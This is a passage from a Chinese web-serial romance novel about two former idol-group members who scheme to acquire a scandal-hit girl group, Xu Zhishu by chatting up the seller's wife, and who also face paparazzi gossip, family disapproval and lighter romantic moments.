倒是路煌把他拉回了房间:“今天遇不上,明天再遇。晚饭已经喝过酒了,就你那点酒量,晚上再来一杯,怕你事没谈成,自己先醉了。” 许稚舒挑眉:“多住一晚就多花一晚的钱,又不是便宜地方。” 路煌笑说:“说你精打细算,你还真算得细。” “该省省,该花花。”他是不差这几晚的钱,但守株待兔也不能守太久。 “实在不行,我想办法找她的联系方式,直接跟她谈。”路煌提议。 许稚舒摇摇头:“她明显就是不管事的,现在她先生一出事,她就立刻想把公司脱手,说明她没有处理这些事的能力,想一锤子买卖解决问题。你就算找她,她知道你只想买一个团,很可能会以为你是想坑她。所以对于这种情况,迂回着跟她聊,或许还有机会。” “除了你自己去酒吧蹲守,还有别的办法吗?”路煌实在不愿意许稚舒辛苦。 “要不你去?”许稚舒也不会死脑筋,大不了让路煌去,如果对方出现再叫他。 路煌无奈地笑说:“我只想跟你约会,你却想把我赶出去蹲别人?” 许稚舒被他说得也犹豫了,约会的确是他说的玩笑话,但现在其实和约会没区别。现在两个人的确每天都会见面,可换一个环境,感觉还是不一样的。大晚上的把路煌打发去酒吧,好像也不太合适。 路煌见他犹豫,立刻乘胜追击:“你刚被拍到出入会馆,我要是再被拍到出入酒吧,冲着流量来的媒体估计脸都要笑歪了。” 酒吧不比日料店,人多眼杂的,被拍到都不知道。 许稚舒立刻妥协了,路煌非常满意,拉着许稚舒回了房间。 房门一关,路煌就把许稚舒抵在了门上,随之而来的是细密又温柔的吻。 许稚舒背后贴着门,双手环上路煌的腰,仰头轻缓地回应着,就像只有心机的小猫,想要引起注意,又要让自己显得很被动。 窗外的夜色很美,纸醉金迷的奢侈感只有在这样的地段才能切身感受到。可再美,也敌不过他们眼中只有对方。 两个人一路从门口吻到沙发,外衣都脱掉了。许稚舒轻喘着说:“明天要上班。” “知道。”路煌直接将许稚舒抱起来,让许稚舒的双腿夹在他腰上,带着人往浴室走,他并没有准备东西,不可能勉强许稚舒,不过换一种方式相互帮助,也是可以接受的选项。 * 许稚舒醒来时,路煌已经去上班了。昨天跟路煌在浴室胡闹,导致他沾枕头就睡了。今早路煌也没叫他,他醒来一看时间已经九点了。 床头放着路煌给他留的字条,说房费他已经续了,让许稚舒吃了早饭再去上班。 许稚舒又在床上躺了一会儿,直到觉得枕头上一点路煌的味道都没有了才起身。 自己当老板的好处就是没人会盯着他上班的时间。许稚舒基本不会迟到早退,但其实并没有人要求他。 洗漱过后,许稚舒换好衣服,又检查了路煌送他的花有没有缺水,这才去了餐厅。套房的客人早餐是有单独的餐厅的,没有时间限制,随到随点。 许稚舒点了招牌牛肉面,还要了一笼烧麦。想来住酒店还是有些好处的,至少早餐不用自己做,吃得还比较丰富。 他这边刚吃完,一位女士就走进了餐厅。这个套房专供的餐厅地方不大,来来往往的很容易留意到。 许稚舒一眼就认出了来的不是别人,正是盖留老板的妻子,姓卫。 她显然也注意到了许稚舒,可能是认出了他,她的目光留停留了两秒,才跟着服务生在跟许稚舒隔了一张桌子的位置落座。 原本准备离开许稚舒也不走了,抬手让服务生给他一杯咖啡——偶遇也要装得像一些。 等卫女士那边吃得差不多了,许稚舒才端着咖啡走过去:“卫女士,你好,打扰你了。” 许稚舒笑起来很温柔,很容易让人降低防备心,只要他愿意,初印象这个便宜他都能占上。 “许先生。”卫女士显然是认得他的,“你认识我?” 许稚舒没有立刻回答,而是问:“我可以坐下吗?” 由于许稚舒是在这儿吃的早餐,明显是也在这里住的,卫女士自然就降低了对他目的性的怀疑。 “请坐。”卫女士很给面子,四十多岁的年纪看着保养得当,脸上一条细纹都看不到。 许稚舒落座后,才编着理由解释道:“我今年原本有跟盖留娱乐合作的计划,但因为工作安排不开,只能取消了。在了解盖留娱乐的音乐风格时,看到了你们公司各种年会的照片,其中有卫女士你的。” 他一直以卫女士的姓称呼她,而不是谁谁的太太,这样或许能让卫女士暂时脱离盖留娱乐老板娘的身份,在现在这样有压力的环境下,能获得一定的放松。 “原来如此。”卫女士笑了笑,“我不管公司的事,许先生特地来找我说话,我实在找不到合适的话题。” 许稚舒保持着微笑:“没关系,我也没有别的意思。盖留的事我听说了,也听说你家有意出手公司,在这儿遇到你,总觉得还是打个招呼比较好。” “嗯。别人现在看到我都是有多远躲多远,难得许先生还愿意跟我说几句话。”她说的都是实话,现在谁不是躲着他们呢?如果现在不是法制社会,她出入恐怕都要被人丢烂菜叶子了。 “圈子里最怕招是非,大家都是吃这碗饭的,总不能砸了自己的碗。”他了解这个圈子的现实,但更清楚盖留事件其实绝大部分艺人都是无辜被怀疑的,大家心里有气才正常,“我是转幕后了,别人追新闻也追不到我这儿,倒少一些顾虑。” 卫女士点点头,叹了口气。 “我看到热搜,说是To ver这个团的成员出车祸了。没出大问题吧?”许稚舒终于把话题拉到了他要的主题上。 卫女士叹道:“别人还行,有一个女孩骨折严重,估计养个半年都是快的。” 她的话正中许稚舒下怀:“这么严重?那这么看,你想出手盖留恐怕难了,至少也得折价。” “怎么讲?”卫女士显然真的不参与管理,对娱乐圈的了解也不多。 许稚舒佯装认真地说:“盖留现在名声本来就不行,你要卖本来就得折价。现在公司艺人还受伤了,不知道什么时候能复工。别人接手盖留娱乐肯定是希望利用公司现成的团资源立刻赚钱,可To ver的成员骨折,短时间内上不了台,谁愿意接一个还没到手就知道至少得砸手里一年的项目? “现在团的概念不比以前,多一个人少一个人,只要实力够,歌曲好,问题不大。现在都讲团魂,粉丝也格外注重团内的公平性。回归要么人都在,要么不回归。这中间的平衡不在这个圈子里,不了解追星文化,不仅弄不明白,还容易被抵制。 “现在音乐市场本来就没有前些年火热,大家收购肯定更得多方位考察,有一点赔钱的可能性,都得格外慎重。” 许稚舒半真半假地忽悠她。其实现在想来,许稚舒觉得自己跟To ver这个团还是有些缘分的。之前计划跟盖留合适时,就说是女团,虽没具体说是哪一个,可按回归时间看,多半应该就是To ver。后来他主动取消了合作,现在又为To ver忙活,怎么不算缘分呢? “真麻烦。”卫女士皱起眉,不是抱怨,而是一种不得其解的烦躁。 许稚舒继续说:“其实盖留的发展在圈内还是很不错的,除了To ver,手里还有一两个有发展的团,也是不错的卖点。如果你想顺利卖掉盖留,可能就要先处理To ver这个团。” 卫女士再什么都不懂,许稚舒突然跟她说这么多,她也会掂量许稚舒的意图。 于是她问:“许先生有意收盖留吗?” 许稚舒一笑:“我可没有这个实力。只是话聊到这儿了,就想到什么说什么了。” 既然许稚舒没有收购的意思,那在卫女士看来,就是纯闲聊了,于是她刚提起来的几分警觉就又被压下去了:“多谢许先生愿意跟我说这么多了。” 许稚舒笑说:“我也希望盖留后续能有一个好归属,还能继续为乐坛输送有实力的歌手。” 盖留老板干的事,许稚舒肯定是看不上的,也觉得恶心,但现在他的目的不是讨伐盖留的老板,所以有些话说一半留一半就行了。 卫女士微微点头,她现在只想脱手,别的管不了那么多。 许稚舒看了一眼时间,说:“不早了,我还有工作,就不打扰你了。” 说完,许稚舒没多留,就像只是偶遇一样离开。 而一回到车上,许稚舒就给路煌发了消息,把他怎么跟卫女士说的都跟路煌讲了,让他那边可以再次尝试去谈To ver的合同了。 “真能干。”路煌像表扬小朋友一样表扬他。 许稚舒全盘接收:“没想到一早上就遇到了卫女士,你的房费续得冤了。” 早知道今晚他们就可以不住了。就算不差这一晚上的钱,也可以当句打趣说一说。 “不亏,就当是提前庆功了。” “半路开香槟,小心翻车。” “有了千瑗的投资,我现在底气很足。” 许稚舒失笑:“行了,不和你说了,我要开车了。” “还有件事得跟你说一声。”路煌没让电话挂断,“后天千瑗就回学校了,小丫头说想让你去给她送机。” “可以啊。”这种小事,许稚舒没有不满足的道理,况且他从路千瑗那获得了支持,也让他更有勇气面对两个人的未来,这不是通过人情多少能衡量出价值的。 当晚,两个人并没有住酒店,许稚舒只是去把花拿走了。午饭时两个人经过细聊意识到,许稚舒装路人跟卫女士谈了To ver的情况,如果在酒店让卫女士看到他们两个人在一起,那后续路煌去谈To ver的合同,只要卫女士不是傻的,都会意识到许稚舒这个“路人”的身份基本站不住脚。届时恐怕会有被戏弄的感觉,就更不好谈了。 * 路千瑗的飞机是晚上八点起飞。初黎有会要开,路煌走不开,是许稚舒单独去送的机。 两个人约在机场见,许稚舒陪她办理托运,头等舱值机不用排队,很快就办好了。离飞机起飞还有挺长时间,两个人找了家咖啡店小坐。 “你别担心,爷爷没再提二哥和你的事。他虽然老古板,但不会做奸猾的事,不然他老脸没地方放。”路千瑗很了解自己的爷爷,爷爷对她一直很好。觉得她是女孩子,不能吃苦,千娇百宠地捧着,虽然嘴上表达的少,可都在行动里了。 “我自己倒没什么可担心的,只是担心他逼路煌。”许稚舒说了心里话。 路千瑗理解地点头:“就算遇到问题,我二哥也一定能解决,你安心就是了。说句托大的话,二哥到底是路家的孩子,不可能没有解决问题的能力。” “说得也是。”许稚舒笑着点头,又说,“你一个人在国外,万事也要小心。你二哥现在没那么忙了,有什么需要帮忙的,你该找他就找他。” “我会的。这次回去我也待不了多久,最晚七月也就回来了。你要是有空就来找我玩,要是没空等我回来咱们可以一起去旅行。”路千瑗计划着未来,脸上都是向往。 许稚舒是不大愿意计划那么远的事的,他更喜欢计划当下。但现在路千瑗跟他提起后面的计划,他不会再有“到时候再说”的想法。这可能跟路煌有关,他和路煌有了确定的未来,他就愿意去想未来的事,哪怕只有一两件,也是对未来会按自己的想法去过的自信。 “好。”许稚舒应着,又说,“我已经问长清要签名照了,他说手上没有独家照片,等过几天回来,拍了新的给你签。到时候我给你寄过去。” 路千瑗的笑意根本藏不住,随后有些不好意思地试着问:“那个,等我回来,你能不能安排我跟单长清见一面?我真的很想见到他本人,远远地看一眼也行。” 因为路煌的关系,Infinite的握手会、签名会、演唱会她一次都没去过。这可是她追星路上的遗憾! 许稚舒笑道:“这才是你让我来送机的目的吧?” “没办法,跟二哥说,他不一定愿意帮我。”路千瑗还是觉得许稚舒更可靠一些。 许稚舒笑着点头:“没问题。” 他们在团期间,其他三个人的家人他们也都有见过,大家关系好,并不是什么大事。 路千瑗心满意足,看时间差不多了,拿上自己的小包,和许稚舒一起出了咖啡店。 许稚舒将她送到安检处,同样是专用安检口,人很少。 路千瑗像对待自己哥哥一样给了许稚舒一个拥抱。 许稚舒从她身上切实地感受到了如家人一样的情感表达:“一路平安,到了地方发消息报平安。” “知道,你和二哥要好好的,有事给我打电话。” “好。” 路千瑗放开他,冲他挥了挥手,走向安检口,许稚舒看着她过了安检才放心地离开—— 作者有话说:感谢支持!今天入V,早点更新! 给大家准备了红包,评论即可。《 》 39、第39章 第39章 许稚舒前脚进门, 后脚他就被挂到热搜上了。更离谱的是标题,说他疑似恋爱。 被拍到的照片正是路千瑗抱他的那一下,因为角度的关系, 他的脸被拍得很清楚, 但路千瑗的脸被他挡住了,只能通过衣服判断对方是个女孩子。 长时间不在台前, 许稚舒的警惕性的确越来越低, 如果放在他还在团期,不可能一点都没感觉到。 他没准备回应,这对他来说也不算困扰,没拍到路千瑗的脸,一切都好说。可他和路煌的CP粉们又一次感受到了崩溃,在她们看来, 两个人的关系正在往她们最不想看到的方向上发展。 【怎么办?是真的疏远了吗?】 【作为CP粉,理性和感性正在疯狂打架。】 【两个人看起来都是准备恋爱了, 之前路煌不也被拍到了吗?】 【想来想去,只能化成一声叹息了。】 【我对他俩还一直心存幻想。我真的觉得这两个人肯定有事!但现在, 我只想哭一会儿。】 【我已经嚎啕了!我最爱的CP为什么BE了?!为什么, 为什么,为什么!!】 【路煌那个只是吃饭,我还可以不当回事。但许稚舒这个都抱一起了QAQ。】 …… 许稚舒看着这些评论, 不禁笑了起来。没有任何嘲笑的意思, 只是觉得这些女孩子们很有意思,他们都那么长时间没有同框了,她们依旧愿意为自己喜欢的CP保持热情,或许这可以算是一种信念感。有这样的执着,感觉她们做什么都会成功。 开门的声音打断了许稚舒的思绪。 “回来了?”许稚舒边问边起身往玄关走。 “回来了。”没看到人, 路煌先应了声,“看到地铁站那边有卖烤红薯的,就买了一个。” 路煌把热乎乎的红薯递给他。许稚舒住的地方离地铁站很近,每天开车回来,是必然会经过地铁口的。只不过这边的地铁口极少看到有人摆摊。而烤红薯的魅力不在于入口有多香甜好吃,是在于闻到它味道的那一刻,几乎嗅觉已经将它的美味具象化了。 许稚舒热了两杯香蕉牛奶,两个人配着烤红薯刚刚好。 路煌换了衣服出来,就看到许稚舒正拿小刀把红薯划成两半,用勺子挖着吃就不至于把手弄得黏黏的,也不容易烫口。 路煌走过去,在他耳朵上亲了一下,才满足地走到他对面坐下。 “你看到热搜了没?”许稚舒主动提起,并率先挖了一块,吹了几下送入口中,香甜的味道一点不打折扣,让人的心情顿时又好了一个等级。 “什么热搜?”路煌下了班就一心想着快回家,根本没空玩手机。 许稚舒找出来给他看。 路煌直接就乐了:“这绯闻传的,我都生不起气来。哪怕他们传个靠谱点的,我都能吃点醋。” 许稚舒笑说:“幸好没拍到千瑗的正脸。” “拍到也没事,她又不是未成年,尝试解决问题已经是她这个年纪应该重点培养的能力了。”路煌心还挺大,不过很快,他又想到一件事,笑容里多了丝歉意,“之前我去相亲吃饭被拍到,你应该挺难受吧?” 许稚舒没有隐瞒,即便当时的情绪对他来说已经远去,却不妨碍他记得自己是伤感的。 “是挺难受的。不过当时我和西卓在一起,情绪没有那么难调节。”许稚舒说,“其实你也没错,我们当时已经分手了,你无论做都不算错。” 感情没有那么容易切割,但那时界限已经划出来了,他们会遇见,但当时谁都没有往合好的方向上考虑,不能算藕断丝连。 路煌叹气,无论什么时候想起来,同意分开这件事,路煌对自己的评价只有“愚蠢”两个字。当然,他现在属于事后诸葛亮了,却也不妨碍他看不上那段时间的自己。 “不说这些了。”许稚舒不想回忆那些,现在他们很好,没必要去想不开心的事,“To ver的事你们会开得怎么样?” “已经确定会去找卫女士接触。”路煌给了确定的答案。 许稚舒说:“我在想要不要找个人去装盖留的买家,把To ver的问题拿到台面上来再夯实一下,这样卫女士应该更不容易犹豫。” “是这个办法。”路煌已经开始考虑人选了。 “那我和我哥联系一下吧,我觉得他出面会方便一些。在外界看来,他不是圈内人,有想收购娱乐公司的意愿听着比较可靠。而且杨家是做娱乐行业的,但娱乐公司却没到他手里。就算卫女士那边查,最多也就是觉得他没分到公司,心里不甘想跟杨阅打擂台。与其自己新建一个公司,不如收购来得划算。”许稚舒提议。这不算是多高明的方法,只是杨观的身份实在太合适了。 “如果他愿意帮忙,自然是最好的。”杨观的背景他查得一清二楚,这个人还是可以信的。 “那我明天联系他看看。”现在时间不早了,如果他现在找杨观,杨观恐怕要以为是出什么大事了。 两个人吃完一个红薯,路煌看着许稚舒,说:“如果可以的话,我能不能正式见见杨观?以你恋人的身份。” 许稚舒一愣,他完全没考虑过这个问题:“我没跟他提过我们的事。” 路煌表示理解:“那你打算跟他说吗?” 许稚舒想了想,答:“总是要说的吧。”毕竟他和路煌应该是不会分开了。 路煌笑了:“行,那我可就等着了。” 他不是要催许稚舒,只是有些期待。经过这段时候,他越发明白自己跟许稚舒把日子过好,比什么都重要。 许稚舒洗完澡出来,就被路煌带到了床上,唇舌纠缠间,许稚舒就觉得自己手腕一凉,随后是轻轻的卡扣合上的声音。 许稚舒抬手微微偏头,就看到手腕戴了一只腕表。这只表对男士来说表盘偏小,但作为一个低调的装饰品特别合适。 见他不掩饰地露出喜欢的神色,路煌心生满足,许稚舒好像总能给他提供非常充足的情绪价值,不是刻意的,就是喜欢,所以表露。 “去年圣诞、跨年,再到春节,都没送你一件像样的礼物。这只表是我年后订的,刚送来。”路煌还是想补偿许稚舒,不然怎么做他都觉得不足够。 “很好看。”许稚舒仔细观赏着腕表,路煌送他的礼物没有便宜的,但这只腕表却是款式最简单,也最日常的。 路煌抓住他的手腕,和他一起欣赏,琢磨了一下,又说:“如果戴枚同色系的戒指,就更好看了。” 许稚舒捏他的鼻子:“我可是刚传完绯闻的人,现在戴上戒指被拍到那还得了?” 路煌低头去亲他:“你觉得是你一个人戴戒指的消息爆炸,还是我们两个都戴更爆炸?” “那你猜他们是会觉得我们在一起的可能性大,还是我们各自要结婚的可能性大?” 路煌笑说:“我不知道,但我知道无论哪一种,CP粉爆炸的可能性才是最大的。” 想到那个场面,许稚舒也跟着笑起来。许稚舒本来就好看,笑起来更是让路煌心都热了,他伸手把被子一拉,蒙住自己和许稚舒。 昏暗狭小的空间让两个人贴得格外紧密,不够充足的空气让呼吸更加深重,却又能更清晰地感受到唇舌的纠缠。腕表的凉意贴上路煌的皮肤,对他来说就像是燥热中的一点清凉,同时又希望腕表能够染上许稚舒的体温。当然,如果是两个人的体温就更好了。 * 第二天,许稚舒联络了杨观。 只是需要动动嘴皮子的事,杨观最近也不忙,很乐意帮这个忙。 他并没有多打听,一方面他对娱乐圈的事不够了解,给不了太多有用的建议;另一方面,他根本没把这件事跟路煌挂上钩,只以为是之前他和许稚舒闲聊,说不想让杨家好过,许稚舒正在往这方面忙活呢。 杨观的效率很高,又有很不错的谈判技巧,有了他和路煌那边双管其下,卫女士果然觉得To ver对盖留娱乐来说是个拖后腿的存在。加上这段时间的确没有其他人联络她,表示出购买的意向,她又实在着急用钱,就决定把To ver的合同单独卖掉。 娱乐公司整体出售一个团或者团标的情况非常少见,常见的要么是公司留下团标,团解散;要么是团成员一起出资买下团标,然后自己为团开个新公司继续运营。 盖留属于特殊情况,被抓的老板不在国内,老板娘急于变现,才出现这样的例外。 初黎娱乐V:很高兴地告知大家,经过公司高层的持续商谈,终于与盖留娱乐达成意向。即日起,To ver将带着团名,集体加入初黎娱乐!To ver的所有活动费用,也将专款专用,不会影响到公司其他艺人及团体的发展和工作安排。让我们一起欢迎To ver的加入! 配的照片是To ver的九位成员站在初黎娱乐大门前,笑意盈盈地拍了合照。受伤骨折的成员没能到场,但公司单独为她拍了一张在病房养伤的照片,请粉丝们放心。 这对To ver的粉丝来说,绝对是天大的惊喜。可对关注路煌的事业,及初黎其他艺人的粉丝来讲,却有一种被雷劈了的感觉。 【这决策对吗?!】 【盖留的女团,初黎敢收?疯了吧?!】 【初黎刚有点起色,路二少,你可别发疯啊啊啊啊啊!】 【虽然盖留娱乐的事还没有定论,但作为To ver的粉丝,我真的非常感谢初黎能收留我们小破团。】 【To ver真的很不容易,女孩们都很乖的,我不相信她们会有出格的事。】 【现在说什么都为时尚早,还是继续等事态发展吧。】 【不管怎么说,感谢初黎肯在这个风口浪尖上站出来保护我们小破团。】 【妹妹们加油呀!】 To ver的成员们也都用自己的微博转发了初黎的官博,都对未来抱以美好的期许。这样的相互鼓励,同共抵御负面消息的状态给了许多人鼓励,切实地拉了一波路人缘。 午休时间没有安排,两个人连着视频聊天。 “公司的公关部没找你们领导层算账吗?”许稚舒玩笑着问。 今天天气特别好,中午的阳光照进办公室,把室内晒得暖暖的,沐浴在阳光里,会让人的心情格外舒畅。 “人是没找上来,不过心里大概一直在抱怨吧。”路煌也开起了玩笑。谁遇上这样需要紧盯着的事,心情都不会太好。不过只要不找到他办公室来,他就当不知道。毕竟现在网上的热议并不意外。 “你见过To ver的成员了没?”许稚舒问道。 “没有,今天Breeze开始学习《嬉闹》的舞蹈,我在练习室盯了三个小时。”眼下除了To ver换公司后的首个回归,最重要的当属Breeze的回归。 To ver的团队已经组建完毕,路煌不必非见每一个成员。等开始新歌录制或者舞蹈训练的时候再见不迟。 “看来这次舞蹈难度挺大的。”许稚舒猜道。以他对路煌的了解,如果不是难度大,他不会待那么久。 “难度还可以,主要是担心年轻人骄傲,因为好成绩产生自以为是的心理。我在那儿盯着,他们心里就应该有数了。”路煌这也是以防万一,当然了,Breeze的成员们很用心,没有任何怠慢,他很满意。 “看他们这段时间的表现,是踏实的年轻人,问题不大。”许稚舒还是有关注Breeze的,随后他又说,“上午的时候左老师联系我了,对我好一通感谢,说得我挺不好意思的。” To ver能签到初黎,在别人看来是初黎的规划,可在左思珈看来,就是许稚舒出了力了。否则路二少不可能要一个存在舆论风险的女团。现在To ver签到了初黎,跟她关系好的小妹妹多萝对她千恩万谢的,连带着整个To ver都对她很感激,她也不敢邀功,特地来谢许稚舒了。 路煌笑说:“你可不应该不好意思,如果没有你,我的确不会考虑To ver。” “你这么说听着像个昏君。”许稚舒嘴角压不住地上扬。 “我不介意当昏君,只要你高兴就行。”这就是路煌的原则,在别人听来肯定很荒唐,但他就是这么想的,“To ver的新歌有眉目了吗?” 提到这个,许稚舒叹了口气,说:“不瞒你说,没有眉目。” 路煌诧异:“这可不像你。” “我原本是想比着她们原来的风格做,在歌词内容上加一些深度,毕竟大幅度转型很可能基础市场都保不住。可我现在只想写小甜歌,没什么有深度的内容可写。”许稚舒诉说着自己的“江郎才尽”。 路煌笑道:“那就写小甜歌,即时的灵感也很重要。” “我可得为千瑗的投资负责,不能学你那个昏君的样子。” “责任心太重会有压力。” “干什么活都有压力,全靠随心所欲还得了?” “给你弄工作室,就是希望你能随心所欲地创作。”路煌的话刚说完,秘书就敲门进来了。 而跟秘书一起进来的,还有路家老爷子。 路煌收了笑意,语气却克制着没有改变:“我这边有客人,先挂了。” 许稚舒没多想,应了一声就挂了视频—— 作者有话说:感谢支持!《 》 40、第40章 第40章 祖孙两个谁都不说话, 仿佛谁先开口就是谁妥协。 好在跟老爷子一起来的还有管家,他扶着老爷子道:“您先坐吧,医生说了, 您要静养。” 老爷子“哼”了一声, 坐到了沙发上。 管家冲路煌笑了笑,显然是让路煌安心的。自上次和路煊通过电话后, 路煌以为短时间内家里不会再来人跟他谈, 结果没想到一个月都没到,老爷子就来了。 秘书不明情况,也不像之前的助理江铭那么擅于应付和觉察,客客气气地给老爷子送来茶,就退了出去。 路煌想着人都来了,就算吵架也不能模糊了立场, 于是起身坐到了老爷子对面。 老爷子喝了口茶,稍微觉得满意了, 才道:“看到你收购了那个什么女团,人家遇到风口浪尖都知道跑, 就你往上冲, 可把你能耐坏了!” 张嘴就是数落,和老爷子以往的风格不同,可见他是不认同这个做法的。 “娱乐公司有娱乐公司的发展方式, 您应该仔细看看网上评论, 虽然有担忧,但总体风评并不差。”路煌很清楚就算他是路家太子,也不能凭一己之力把黑的说成白的。所以作任何决定,他都会思量再三。 老爷子皱眉:“盖留那老板明显就是个祸害,你收他旗下的女团, 万一暴雷,公司就砸你手里了。” “爷爷,我又不是傻子,收之前肯定经过严格的调查了。我在娱乐圈这么多年,自然有自己的人脉,这点小事我还是能查明白的。”如果To ver真有问题,哪怕是老爷子出面让他收,他都不可能收。 听他这么说,老爷子像是松了口气。这家公司是他从老友那收来的,原本想着不亏就行,但最近他在了解娱乐圈的事,没想到现在初黎的风评还挺好,旗下的那个什么男团也争气,让他刮目相看。 “那你做得也不好。盖留那种公司,你买它的团等于是给它老板送钱,到时候老板再用这笔钱捞自己,你这不是助纣为虐吗?”老爷子又找了个角度继续“看不上”路煌。 别的路煌不敢说,也不敢说自己家的产业就一定是干净得一尘不染,但路煌敢说他家人做事,出发点肯定是正的,这样的做事理念也很好地传递到了他这一代。 “这才哪到哪儿?”路煌嗤笑,“无辜的人值得被解救,心术不正的也自然应该去他应该去的地方。我心里有数。” 老爷子脸色好看了些,随后又说:“那个女团我也了解了一下。” 路煌笑说:“您老还真有闲工夫。” 想到老爷子天天坐在电脑前了解女团,他就觉得挺有趣的。他在团里时,老爷子都没多分他半点关注。 老爷子刚好了一点的脸色又冷回去了,严肃道:“这个团不怎么红,看起来也没什么发展前途。你要是砸手里了,债务自己背!” “行。”路煌没有说软话,也没有辩解自己对To ver有信心,只说,“有稚舒在,To ver差不了。” 老爷子翻了个白眼,到底是没说出难听的话。 路煌也趁机表明了自己的态度:“大哥说因为家里没人了解娱乐公司怎么做,所以初黎我暂时管着。并不是要向家里拿钱,也没有觉得能靠一个初黎换取什么。您也不要拿初黎威胁我分手,我根本不在乎这个公司,还是那句话,公司是您收的,您可以自己管。反正无论怎么样,我不会和稚舒分手,我的态度就摆这儿了。” “混账东西!我还一句没话说呢,你在我这儿逞什么能?!”老爷子怒了。 管家怕老爷子再进医院,赶紧打圆场:“您跟二少生什么气啊,他什么性格您还不清楚吗?一直都是嘴硬心软的。” 老爷子没怪管家乱插话,又哼了一声,不理会路煌了。 管家又对路煌道:“二少,老爷子也是关心公司,没别的意思。” 见爷爷的确没再说什么让他不高兴的话,路煌也收了收态度,说:“我只是把丑话说前头,免得彼此心存侥幸,态度不明,最后弄得更难看。” “你别以为家里没把你怎么样,你就在这儿跟我拿乔。以后日子过不下去,有你哭的时候!”老爷子刚下去一点的脾气又原路返回了。 路煌:“就算哭,也不在您面前。” 管家被这爷孙俩搞得都不知道怎么劝了,又不能真让老爷子发火,于是道:“老爷子,时间差不多了,咱们该往茶楼去了。早点过去,路上还能给老夫人捎盒香芝楼的点心,晚了可能就买不到老夫人喜欢的口味了。” 老爷子立刻起身,多一个眼神都没再给路煌,就带着管家离开了。 路煌心情并没受影响,他又不是小孩,吵架还要求安慰。不过管家提到香芝楼的点心,他也想给许稚舒买一盒了。许稚舒创作辛苦,如果能随时补充一点能量,也是不错的。 于是当天下午,许稚舒就收到了路煌让人送来的点心。让他直到下班心情都非常好。 路煌没跟他提老爷子到公司来的事,既然没有工作上的变动,他就没必要跟许稚舒说了,免得许稚舒有负担。他的态度已经很明确了,无论怎么样都是不会变的,许稚舒只要安安心心地创作就好,别的什么都不用管。 * To ver进入初黎就像事件进入了一个节点,原本还属于热门的盖留老板海外被抓事件,再多日来没有更多保真的瓜后,人们慢慢发现好像盖留老板的所做所为跟盖留国内的艺人没有任何关系,国内这边也没有任何证据表明盖留的艺人有参与桃色事件。 顷刻间,艺人们的口碑开始回暖,但盖留的口碑是没有回暖的可能了,毕竟老板干了缺德事,是洗不干净的。 这种事外界发现得还晚一些,而圈内各大娱乐公司的老板们得到消息的速度可要快上不少。尤其是在初黎签约完成之后,其他脑子转得快的就已经明白形势了。 于是一些公司跟着初黎的步调开始买盖留娱乐的团,这种现成的团哪怕不关心以后发展得如何,仅要求在真相大白后为公司赚一波好名声,也是值得的。 许稚舒当时是用To ver成员难及时回归,耽误盖留找下家这个借口,让路煌成功拿走了To ver。而其他娱乐公司则是以To ver已经被买走,盖留的发展体系被破坏为由,不愿意买盖留,但愿意接手盖留的团。 于是卫女士就是越着急出手,越卖不上价,思量再三,只能继续卖团。随着团都卖光了,盖留娱乐就更没有人接手了,成了个空壳砸手里了。 可即便如此,卖团的钱还是可以让卫女士为自己的丈夫在海外周旋。只不过想得很美好,现实却是她在带着钱要出国的时候,被海关以盖留娱乐存在税务问题为由,将她扣在了国内。 等许稚舒再听说盖留和卫女士的消息,就变成了卫女士带着家中的现金跑了,留给丈夫的只有一纸离婚协议。许稚舒并不同情卫女士,跟卫女士谈的时候,他的确和颜悦色,可他也相信不是一家人,不进一家门,卫女士不可能对她丈夫的所做所为一无所知。 这天晚上,许稚舒约了杨观吃饭,并没带路煌。 “看你状态不错,感觉比之前好。是有什么好事?”杨观见他气色很好,就更放心了。 许稚舒没有直接回答,只说:“可能是天气开始回暖了,心情好吧。” “那你这气色被气温影响得有些严重,明年冬天干脆去南方待着吧,能保持住你的好气色。”杨观并不信许稚舒的说辞,不过他听说搞创作的更容易悲春伤秋,所以他也不至于全然不信。 “可以考虑。”许稚舒已经完全适应了自己的工作方式和节奏,如果冬季不忙,去南方过冬也蛮好的。只不过路煌恐怕没办法跟他一起去。 等菜期间,杨观注意到了他手上的表:“买新表了?” “嗯。”许稚舒没说是路煌送的,就算这块表价格不菲,也不是他承担不起的。 “很好看,适合你。”许稚舒的手腕很好看,相对小一些的表盘不会把他的手腕全挡住,也衬得手表更精致。只不过杨观觉得这块表不符合许稚舒的消费习惯,却并没有多问。 点的菜品陆续送上来,两个人边吃边聊。 “之前你让我联系盖留娱乐,后来我才知道初黎娱乐收了To ver这个团。你是因为路煌才找我帮忙的?”杨观笑问。 杨观是个聪明人,有些事他很快就能串起来,略一想,也就有了答案。 “对。当时不确定能不能收下来,原本对方是不卖的,只能用些小手段。”许稚舒没再隐瞒。 杨观微笑着点头:“看来你们关系很好。” 对他来说打个电话的事,都算不上帮忙,更不可能奢望路煌欠他的人情。再说,他是帮许稚舒办事,不能往欠人情上考虑。 许稚舒笑着说“是”。 杨观发现许稚舒现在的笑容里多了许多温度,与之前那种礼貌的温柔是有区别的。整个人看起来松驰了不少。 “说到盖留,跟你说个有意思的事。”杨观拿起公勺,把刚送上来的菌菇焖饭拌匀,“我听说之前杨阅也想买盖留的团,但公司高层全部反对,他一个人大战一群高层,在会议上吵得不可开交,杯子都摔了。” “这么猛?”许稚舒听乐了,想到那个画面,他就觉得杨立致或许也可以进医院调养一下血压了。 “现在看来,收盖留的团其实是一步好棋。但奈何他上任之后没有一个决策是成功的,公司上层已经不信任他了。他再不甘心也没办法,公司还有不少艺人等着回归,没有那么多资金供多一个团。”杨观对纬弦娱乐的动态还是了解得很清楚的。 “难怪这阵子纬弦娱乐很安生,原来是不能独断专行了。”如果杨阅不跳出来,其实许稚舒是想不起这个人的,毕竟他也很忙。 “这样反而没意思。”杨观给许稚舒盛了拌好的菌菇饭,“他不发疯,怎么看纬弦倒台?” 许稚舒笑说:“他多跟我的作品撞几次期,还是有机会的。” “现在他不能一个人说了算了,纬弦的高层怎么都不会再让他们的艺人跟你撞期了。而且听说他们内部已经开始动荡了。”杨观说。 “因为成绩不理想?” “不全是。你还记得之前上了《听一首歌》的那个音乐人吗?叫林仕咏。后来他成了炮灰,虽然没丢工作,却也没再推出作品,他哪能甘心?加上新男团Serein的成绩不佳,负责写歌的音乐人也是纬弦自己养的,让林仕咏一挑拨,生怕步了林仕咏后尘,成了为Serein成绩不达预期背锅的那一个。所以这两个人现在联手,准备带头闹,要求纬弦最大限度的保障他们的权益,不能把成绩失败的锅甩到音乐人头上。” 许稚舒乐了:“听着就够热闹的。” 